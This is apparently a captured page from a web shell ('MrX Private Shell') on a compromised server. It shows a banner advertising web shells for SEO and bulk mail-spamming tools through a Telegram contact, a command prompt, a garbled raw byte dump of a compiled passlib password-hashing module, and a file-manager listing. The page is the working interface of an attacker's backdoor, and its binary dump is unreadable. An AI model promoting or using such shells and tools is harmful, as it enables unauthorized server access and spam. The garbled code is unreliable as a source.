__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

XR_�����SrSSKJr SSKr\R"\5rSSKJr SSK	J
r
JrJr SSK
Js Jr S/r"SS\R$\R&\R(\R*5rg)z�passlib.handlers.phpass - PHPass Portable Crypt

phppass located - http://www.openwall.com/phpass/
algorithm described - http://www.openwall.com/articles/PHP-Users-Passwords

phpass context - blowfish, bsdi_crypt, phpass
�)�md5N)�h64)�u�
uascii_to_str�unicode�phpassc���\rSrSrSrSrSr\Rr	S=r
r\RrSr
SrSrSr\"S	5r\"S	5\"S
54r\"S5\"S	5\"S5\"S
50r\S
5rSrSrSrg)r�aThis class implements the PHPass Portable Hash, and follows the :ref:`password-hash-api`.

It supports a fixed-length salt, and a variable number of rounds.

The :meth:`~passlib.ifc.PasswordHash.using` method accepts the following optional keywords:

:type salt: str
:param salt:
    Optional salt string.
    If not specified, one will be autogenerated (this is recommended).
    If specified, it must be 8 characters, drawn from the regexp range ``[./0-9A-Za-z]``.

:type rounds: int
:param rounds:
    Optional number of rounds to use.
    Defaults to 19, must be between 7 and 30, inclusive.
    This value is logarithmic, the actual number of iterations used will be :samp:`2**{rounds}`.

:type ident: str
:param ident:
    phpBB3 uses ``H`` instead of ``P`` for its identifier,
    this may be set to ``H`` in order to generate phpBB3 compatible hashes.
    it defaults to ``P``.

:type relaxed: bool
:param relaxed:
    By default, providing an invalid value for one of the other
    keywords will result in a :exc:`ValueError`. If ``relaxed=True``,
    and the error can be corrected, a :exc:`~passlib.exc.PasslibHashWarning`
    will be issued instead. Correctable errors include ``rounds``
    that are too small or too large, and ``salt`` strings that are too long.

    .. versionadded:: 1.6
)�salt�rounds�ident�����log2z$P$z$H$�P�Hc��URU5up#USUSSUSSpenU"U[R"URS55UU=(d SS9$)Nr��	�ascii)r
rr�checksum)�_parse_identr�decode_int6�encode)�cls�hashr
�datarr�chks       �9/usr/lib/python3/dist-packages/passlib/handlers/phpass.py�from_string�phpass.from_string`s^���&�&�t�,��� ��G�T�!�A�Y��Q�R��c�����?�?�6�=�=��#9�:���[�D�	
�	
�c��[S5UR[R"UR5RS5URUR=(d [S54-n[U5$)Nz%s%s%s%sr�)	rr
r�encode_int6r�decoderrr)�selfrs  r!�	to_string�phpass.to_stringksZ����}��
�
�!�o�o�d�k�k�:�A�A�'�J�"�i�i�"�m�m�4�q��u� 6�6���T�"�"r$c�|�[U[5(aURS5nSUR-n[	UR
RS5U-5R
5nSnXB:a'[	X1-5R
5nUS-
nXB:aM'[R"U5RS5$)Nzutf-8rrr)
�
isinstancerrrrr�digestr�encode_bytesr()r)�secret�real_rounds�result�rs     r!�_calc_checksum�phpass._calc_checksumus����f�g�&�&��]�]�7�+�F�����n���T�Y�Y�%�%�g�.��7�8�?�?�A��
���o����)�0�0�2�F�
��F�A��o�����'�.�.�w�7�7r$�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�name�setting_kwds�uh�HASH64_CHARS�checksum_chars�
min_salt_size�
max_salt_size�
salt_chars�default_rounds�
min_rounds�
max_rounds�rounds_costr�
default_ident�ident_values�
ident_aliases�classmethodr"r*r4�__static_attributes__r6r$r!rrs���!�N�D�.�L��_�_�N�%&�%�M�M����J��N��J��J��K��e�H�M��e�H�a��h�'�L��s�V�A�e�H�a��f�Q�u�X�6�M��
��
�#�
8r$)r;�hashlibr�logging�	getLoggerr7�log�passlib.utils.binaryr�passlib.utils.compatrrr�passlib.utils.handlers�utils�handlersr>�__all__�
HasManyIdents�	HasRounds�HasSalt�GenericHandlerrr6r$r!�<module>r[sf�����g�'�'��1��%�:�:�#�#�
���d8�R�
�
�r�|�|�R�Z�Z��9J�9J�d8r$

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 250 B 0644
argon2.cpython-313.pyc File 29.75 KB 0644
bcrypt.cpython-313.pyc File 38.25 KB 0644
cisco.cpython-313.pyc File 12.55 KB 0644
des_crypt.cpython-313.pyc File 20.36 KB 0644
digests.cpython-313.pyc File 6.2 KB 0644
django.cpython-313.pyc File 20.54 KB 0644
fshp.cpython-313.pyc File 7.61 KB 0644
ldap_digests.cpython-313.pyc File 13.81 KB 0644
md5_crypt.cpython-313.pyc File 8.95 KB 0644
misc.cpython-313.pyc File 11.23 KB 0644
mssql.cpython-313.pyc File 9.08 KB 0644
mysql.cpython-313.pyc File 4.29 KB 0644
oracle.cpython-313.pyc File 6.42 KB 0644
pbkdf2.cpython-313.pyc File 17.2 KB 0644
phpass.cpython-313.pyc File 4.8 KB 0644
postgres.cpython-313.pyc File 2.03 KB 0644
roundup.cpython-313.pyc File 886 B 0644
scram.cpython-313.pyc File 14.6 KB 0644
scrypt.cpython-313.pyc File 12.57 KB 0644
sha1_crypt.cpython-313.pyc File 5.76 KB 0644
sha2_crypt.cpython-313.pyc File 15.02 KB 0644
sun_md5_crypt.cpython-313.pyc File 11.85 KB 0644
windows.cpython-313.pyc File 10.9 KB 0644
Filemanager